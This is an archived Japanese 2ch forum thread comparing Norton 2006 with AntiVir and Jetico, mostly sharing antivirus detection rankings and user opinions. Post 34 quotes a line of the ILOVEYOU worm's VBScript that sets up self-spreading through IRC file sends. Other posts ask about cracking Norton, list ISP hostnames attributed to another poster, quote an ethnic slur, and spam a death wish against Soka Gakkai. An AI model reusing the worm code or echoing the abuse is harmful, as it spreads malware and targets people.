Norton2006 VS AntiVir+Jetico

このエントリーをはてなブックマークに追加
1名無しさん@お腹いっぱい。:2006/05/12(金) 07:58:09
どう?
2名無しさん@お腹いっぱい。:2006/05/12(金) 08:52:35
おまwwフリーと有料を比べるのはどうかと・・・
3名無しさん@お腹いっぱい。:2006/05/12(金) 09:56:05
狭すぎて何にも発展しそうにない
4名無しさん@お腹いっぱい。:2006/05/12(金) 10:55:19
Jeticoスレってなくなったんだ
5名無しさん@お腹いっぱい。:2006/05/12(金) 11:42:19
あるよ...
6名無しさん@お腹いっぱい。:2006/05/12(金) 21:06:44

↓工作用の糞スレを乱立させている>>1(NOD32厨とインテル厨とペストパトロール厨を兼ねている)の紹介スレ
http://tmp6.2ch.net/test/read.cgi/tubo/1145644897/
http://66.102.7.104/search?q=cache:yFC7aJM6xCgJ:l-lab.org/pukiwiki/pukiwiki.php
http://z-temp.hp.infoseek.co.jp/2ch/Prescott699-.html
http://science3.2ch.net/test/read.cgi/infosys/1088029040/
http://pc8.2ch.net/test/read.cgi/pcnews/1132667241/
過去に確認されたリモホ
osaknt01.ap.so-net.ne.jp
osaka-ip.dti.ne.jp
acca.osaka.ocn.ne.jp
ppp.prin.ne.jp(PHS)
7名無しさん@お腹いっぱい。:2006/05/13(土) 08:35:27
お前は俺か!
8名無しさん@お腹いっぱい。:2006/05/29(月) 14:11:32
俺なら間違いなくAntiVir+Jetico
PFWはリークテストの結果からJetico以外は考えられない
AVはNortonもAntiVirもVB100もらってるからどっちでも良い
ってことでAntiVir+Jetico選びます
9名無しさん@お腹いっぱい。:2006/05/29(月) 14:24:24
だな
更に万全を期すならプロアクティブなNOD32+Jeticoにするけど
10名無しさん@お腹いっぱい。:2006/05/29(月) 17:15:25
起動時の問題が解決したらJetico使ってもいいけどな
11名無しさん@お腹いっぱい。:2006/06/02(金) 22:34:43
だな
今どきサービスで起動しないなんて
12名無しさん@お腹いっぱい。:2006/06/05(月) 21:39:42
kokoko
13名無しさん@お腹いっぱい。:2006/06/05(月) 21:40:15
norton
14名無しさん@お腹いっぱい。:2006/06/07(水) 14:50:55
2006ってクラックできる?
15名無しさん@お腹いっぱい。:2006/08/19(土) 16:59:50
俺もAvg&jetico
16名無しさん@お腹いっぱい。:2006/08/25(金) 03:36:27
              ●                                  ●
             ●     ●                       ●     ●
            ●     ●                         ●     ●
            ●     ●                            ●    ●
            ●        ●                    ●        ●
            ●              ●        ●              ●
            ●             ●    ●     ●             ●
             ●            ●     ●    ●             ●
              ●            ●●● ●●●              ●
17名無しさん@お腹いっぱい。:2006/09/08(金) 09:37:57
>>9
virus.grによるアンチウイルスソフトウェアの検出力ランキング
ttp://gigazine.net/index.php?/news/comments/20060905_antivirus/
1位. Kaspersky version 6.0.0.303 - 99.62%(税込み3150円より、日本語版あり)

2位. Active Virus Shield by AOL version 6.0.0.299 - 99.62%(フリーソフト)

3位. F-Secure 2006 version 6.12.90 - 96.86%(税込み5775円、日本語版あり)

4位. BitDefender Professional version 9 - 96.63%(69.95ドルより)

5位. CyberScrub version 1.0 - 95.98%(49.95ドルより)

6位. eScan version 8.0.671.1 - 95.82%(58.95ドルより)

7位. BitDefender freeware version 8.0.202 - 95.57%(フリーソフト)

8位. BullGuard version 6.1 - 95.57%(59.99ドルより)

9位. AntiVir Premium version 7.01.01.02 - 95.45%(20ユーロより)

10位. Nod32 version 2.51.30 - 95.14%(税込み4200円より、日本語版あり)
18名無しさん@お腹いっぱい。:2006/09/08(金) 09:38:58
業界では信頼度が高いav-comparatives.orgという専門組織が行った
アンチウイルスの最新(2006年8月)の総合性能テスト結果。
ttp://www.av-comparatives.org/seiten/ergebnisse_2006_08.php

1位 AntiVirusKit (AVK)    99,68%
2位 AntiVir PE Premium   99,51%
3位 F-Secure Anti-Virus  99,07%
4位 Kaspersky AV      99,06%
5位 TrustPort AV       98,69%

*5位以下

   NOD32 Anti-Virus   98,61%
   Norton Anti-Virus   98,13%
   BitDefender Prof.+   95,21%
   NormanVirusControl  94,08%
   McAfee VirusScan   92,40%
   Avast! Professional  92,01%
   AVG Professional   91,69%
   Dr. Web          89,71%
   F-Prot Anti-Virus   87,18%
   VBA32          80,76%
19名無しさん@お腹いっぱい。:2007/05/11(金) 17:36:44
  261 名前:名無しさん@恐縮です[] 投稿日:2007/01/02(火) 12:27:53 ID:XyQ3/5cc0
  だめだここ
  盲目的にチョンなら誰でもバッシングしてるからな
  議論にならんよ

  267 名前:名無しさん@恐縮です[sage] 投稿日:2007/01/02(火) 12:29:54 ID:XyQ3/5cc0
  >>261
  だよね
  みんな在日とか韓人に対してフィルターかけすぎだよね
  かわいそう
20名無しさん@お腹いっぱい。:2007/05/13(日) 08:25:38
古いnortonと新しいノートンとウイルス駆除に違いがあるのですか?
定義ファイルとか更新すればほとんど変わらないと思うが。
21名無しさん@お腹いっぱい。:2007/09/18(火) 18:57:26

□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□
AV-Comparatives Proactive_Test [2007/06/01]

http://www.av-comparatives.org/seiten/ergebnisse_2007_05.php
http://www.av-comparatives.org/seiten/ergebnisse/report14.pdf
http://www.av-comparatives.org/seiten/overview04.gif
□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□

■Advanced+ (最上位)
ESET_NOD32_______________68%__FP:ごくわずか(1)____スキャン速度:速い (7.33)
----------------------------------------------------------------

■Advanced (上位)
F-Secure_AntiVirus_______31%__FP:ごくわずか(1)___スキャン速度:遅い (1.48)
GDATA_AntiVirusKit______31%__FP:多い(14)__________スキャン速度:遅い (1.86)_
Avast!_Professional_______28%__FP:少ない(4)_________スキャン速度:平均的 (3.55)
Norman__VirusControl____28%__FP:少ない(8)________スキャン速度:平均的 (6.45)
Symantec_Norton_AV_____24%__FP:ゼロ(0)___________スキャン速度:速い (6.45)
McAfee_ScanVirus_________24%__FP:少ない(3)________スキャン速度:速い (6.32)
----------------------------------------------------------------

■STANDARD (普通)
Avira_AntiVir_PE_Premium_71%_FP:多い(18)_________スキャン速度:速い (7.49)
TrustPort_AV_WS____________58%_FP:多い(22)_________スキャン速度:遅い (1.21)
BitDefenmder_Prof+_________48%_FP:多い(12)_________スキャン速度:遅い (1.96)
F-Prot__________________________31% FP: 多い(26)_________スキャン速度:平均的 (4.18)
Dr.Web__________________________30%_FP:多い(36)_________スキャン速度:遅い (1.91)
Microsoft_Live_OneCare____18%_FP:ごくわずか(1)__スキャン速度:速い (6.11)
Kaspersky_Anti-Virus6.0_____9%_FP:ごくわずか(1)___スキャン速度:平均的 3.51)
----------------------------------------------------------------
22名無しさん@お腹いっぱい。:2008/02/20(水) 17:12:15
nortonを立ち上がるとIEのjavascriptやアクティブXのダイアローグが立ち上がるんでつが
自分の管理者権限アカウントのインターネットオプションではダイアローグ出ないようにしてるのに
なぜnortonではダイアログを立ち上げるんでしょうか。
どこを設定したらダイアログでないようになるでしょうかね
23名無しさん@お腹いっぱい。:2008/02/21(木) 01:40:12
漏れだったらavast! + Jetico

AntiVirはメールのスキャンをしてくれないから却下
24名無しさん@お腹いっぱい。:2008/02/21(木) 23:04:03
「マンコは存在しない」 −米生物学者らが新説

【ワシントン】女性の股間についているとされる「マンコ」について
米オハイオ州の名門ケース・ウエスタン・ブリーフ大の生物学者らが「存在しない」という新説をまとめた。
近く生物学の一流専門誌「フィジカル・レビューH」に掲載される。
従来の理論では、マンコはセックスやオナニーの際に必要不可欠なもので
下腹部に10cm程度の割れ目があり、その中に膣があるとされてきた。
新説は、新たな聞き取り調査により、マンコの存在は都市伝説であったとするもので、その根拠として、
(1)道行く女性にマンコを見せてくれと頼んだところ、誰一人として見せてくれなかった。
(2)アダルトビデオなどでは女性の股間の部分にはモザイクがかかっており、目にすることができない。
(3)最近、無修正画像を目にすることがあるが、CG技術の発達によるものである。
(4)日常生活で「マンコ」という言葉をひとたび発すると、法律で禁じられた行為であるかのような嫌悪の視線を受け
しかも公共放送でも「マンコ」は放送禁止用語となっている、などの理由をあげている。
日本においても、本物のマンコを見たことがない人が多く、その実在については以前から疑問視されてきた。
千葉県警によると、21日午後3時35分ごろ、イージス艦衝突事故を受け同県勝浦市を訪れていた石破茂防衛相の乗った乗用車が、
市内の交差点で乗用車とぶつかった。負傷者の有無は不明。
25名無しさん@お腹いっぱい。:2008/02/22(金) 19:55:54
取りあえず、観音が販売している高い製品は、
ソースネクストよりも性能が劣っていることが判明しましたorz


一番いいセキュリティソフトはなんだ!!Part43
http://pc11.2ch.net/test/read.cgi/sec/1201308630/

653:名無しさん@お腹いっぱい。:2008/02/06(水) 22:35:07
>ESSはPFWウンコなので除外

正に衝撃の結果だったよなw

654:名無しさん@お腹いっぱい。:2008/02/06(水) 23:10:22
PCJapanだったかの記事でリークテスト全部×だったっけ、ESS

655:名無しさん@お腹いっぱい。:2008/02/06(水) 23:21:20
AV部分も誇大広告なウンコ。
そして代理店もウンコ。
26名無しさん@お腹いっぱい。:2008/02/22(金) 19:56:32
総合セキュリティ対策ソフト徹底比較2008_PCJapan
http://www.sbcr.jp/pcjapan/img/toku2_080117.pdf

NOD(Eset、ESS)の衝撃的な低性能が分る結果。
ちなみに雑誌に広告を出しているF-Secureの結果も良くない。
27名無しさん@お腹いっぱい。:2008/02/22(金) 19:57:09
ユーザーの生の声。


ノートン,カスペ,NOD,AntiVir,ムーミン, GDATAでNo.1は?
http://pc11.2ch.net/test/read.cgi/sec/1187010759/


889:名無しさん@お腹いっぱい。:2008/02/14(木) 22:35:28
総合セキュリティ対策ソフト徹底比較2008_PCJapan
http://www.sbcr.jp/pcjapan/img/toku2_080117.pdf
色々と衝撃的な結果が。


890:名無しさん@お腹いっぱい。:2008/02/15(金) 08:17:58
>>889
リークテスト0点じゃねーかよ! ソースネクスト以下とは…。
こりゃmatousecで掲載できないわけだ(matousecはベンダから了承を得て掲載する)。


891:名無しさん@お腹いっぱい。:2008/02/15(金) 08:47:41
製品そのものが糞というだけでなくて、販売店の対応も糞だし。
しかもソースネクストより、ずっと高額な値段。
まさに地雷。踏んだら戦車も吹っ飛ぶ大型地雷。


892:名無しさん@お腹いっぱい。:2008/02/15(金) 09:24:42
ESETのサイトが中華に食われるわけだw
28名無しさん@お腹いっぱい。:2008/02/22(金) 20:02:33
Eset本スレのテンプレから。
http://pc11.2ch.net/test/read.cgi/sec/1203451600/2-34
29名無しさん@お腹いっぱい。:2008/04/20(日) 18:07:32
>260 名前:名無しさん@お腹いっぱい。 [sage] 投稿日:2007/05/06(日) 22:36:27
>wiki編集したやつ間違い大杉



>【Anti Virus】Kaspersky Lab Part24【AntiSpy】
>http://pc11.2ch.net/test/read.cgi/sec/1168516577/
>
>520 名前:名無しさん@お腹いっぱい。 [sage] 投稿日:2007/05/06(日) 22:27:48
>>518
>明らかにNOD厨だろ
>他の人も書いてたが、NODのwiki編集したIPの奴が、カスペのwikiの良いこと書いてる部分を消してたぞ。
>カスペの項目は明らかに他意が介入してる。


いや、普通に考えたらシマンテックしかありえない。
30名無しさん@お腹いっぱい。:2008/04/20(日) 20:27:30
>>29
NOD厨乙。

元ソース。
*********************************
※KasperskyのWikiが改竄されることがあるので注意※
 http://pc11.2ch.net/test/read.cgi/sec/1087037111/383

[参考]:Wikipediaの執筆者を暴露するツール「WikiScanner」
 ttp://wiredvision.jp/news/200708/2007082821.html
*********************************


31名無しさん@お腹いっぱい。:2008/05/07(水) 23:25:36
 
     ●-、
    r´ - ●
     ` =='\
      |    ヽ
      UUてノ
 
32ノートン いんぺいネット セキュリティー:2009/10/05(月) 20:20:14
Most Effective Antivirus Tools Against New Malware Binaries
ttp://mtc.sri.com/live_data/av_rankings/
Rank Detects Missed Product  (2009年10月04日)
1st 89% 128 AVG      ttp://free.avg.com/jp.homepage
2nd 88% 132 Ikarus
3rd 88% 137 Microsoft  ttp://www.microsoft.com/security_essentials/default.aspx?mkt=ja-jp
4th 88% 138 AntiVir    ttp://www.free-av.com ttp://www.avira.com/jp
5th 87% 151 F-Prot
6th 86% 153 Sophos
7th 86% 158 Authentium
8th 86% 160 DrWeb
9th 86% 163 BitDefender  ttp://www.bitdefender.com/media/html/trialpay.html
10th 85% 164 Kaspersky
11th 83% 192 F-Secure
12th 83% 198 Norman
13th 81% 217 CAT-QuickHeal
14th 80% 226 GData
15th 80% 226 eTrust-Vet
16th 80% 229 VBA32
17th 80% 230 TrendMicro
18th 80% 231 VirusBuster
19th 80% 232 AhnLab-V3
20th 79% 236 Avast     ttp://www.avast.com/jpn/avast_4_home.html
21st 78% 247 Fortinet
22nd 78% 255 Rising     ttp://www.freerav.com
23rd 76% 270 McAfee
24th 76% 277 ClamAV     ttp://www.clamwin.com ttp://www.moonsecure.com ttp://www.clamxav.com
25th 76% 278 TheHacker
26th 72% 320 Panda     ttp://www.cloudantivirus.com
    │
29th 7% 1076 NOD32
??th       Symantec (Norton) ★
33名無しさん@お腹いっぱい。:2009/10/06(火) 01:35:05
34名無しさん@お腹いっぱい。:2011/01/09(日) 10:38:07
scriptini.WriteLine "n2= /.dcc send $nick "&dirsystem&"\LOVE-LETTER-FOR-YOU.HTM"
35名無しさん@お腹いっぱい。:2012/03/31(土) 20:35:04.08
Symantec Endpoint Protection Part2
http://kohada.2ch.net/test/read.cgi/sec/1331092341/
36名無しさん@お腹いっぱい。
創,価
死,ね
創,価
死,ね
創,価
死,ね 
創,価
死,ね
創,価
死,ね
創,価
死,ね
創,価
死,ね 
創,価
死,ね
創,価
死,ね
創,価
死,ね
創,価
死,ね
創,価
死,ね
創,価
死,ね
創,価
死,ね